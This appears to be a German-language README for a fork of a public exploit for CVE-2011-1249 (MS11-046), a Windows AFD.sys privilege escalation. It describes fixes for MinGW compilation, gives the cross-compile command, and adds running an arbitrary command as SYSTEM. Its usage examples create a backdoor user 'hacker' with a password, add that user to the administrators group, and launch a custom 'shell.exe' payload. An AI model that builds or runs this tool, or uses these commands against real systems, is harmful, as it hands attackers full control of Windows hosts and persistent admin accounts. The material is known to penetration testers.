
CVE-2011-1249 (MS11-046) AFD Privilegienerweiterung — MinGW-Crosskompilierungskorrektur + Unterstützung für benutzerdefinierte Befehle
CVE-2011-1249 / MS11-046 — AFD.sys-Privilegieneskalation für Windows x86.
Original-Exploit von Tomislav Paskalev (EDB-40564). Dieser Fork behebt MinGW-Kompilierungsfehler und fügt eine benutzerdefinierte Befehlsausführung über argv[1] hinzu.
| # | Änderung | Grund |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → typisierter Funktionszeiger (pZwQuerySystemInformation) | MinGWs strenge Typprüfung lehnt den Aufruf einer parameterlosen FARPROC mit Argumenten ab — die Kompilierung schlägt fehl mit too many arguments to function |
| 2 | securityPatches[]-Arrays als static markiert | Arrays, die innerhalb von if/else-Blöcken deklariert werden, werden auf dem Stack allokiert und verlassen den Gültigkeitsbereich; ohne static zeigen die Zeiger ins Leere |
| 3 | Benutzerdefinierter Befehl über argv[1] | Führen Sie jeden Befehl als SYSTEM aus, anstelle des fest codierten cmd.exe |
Die Kompilierung des Originals mit MinGW schlägt fehl:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC ist ein generischer Funktionszeiger, der mit null Parametern deklariert ist. MinGW erzwingt eine strenge Typprüfung und lehnt den Aufruf mit Argumenten ab. Die Korrektur besteht in einem typisierten Funktionszeiger mit der korrekten Signatur.
Vorkompilierte Binärdateien existieren (z. B. SecWiki/windows-kernel-exploits), unterstützen jedoch keine benutzerdefinierten Befehle.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM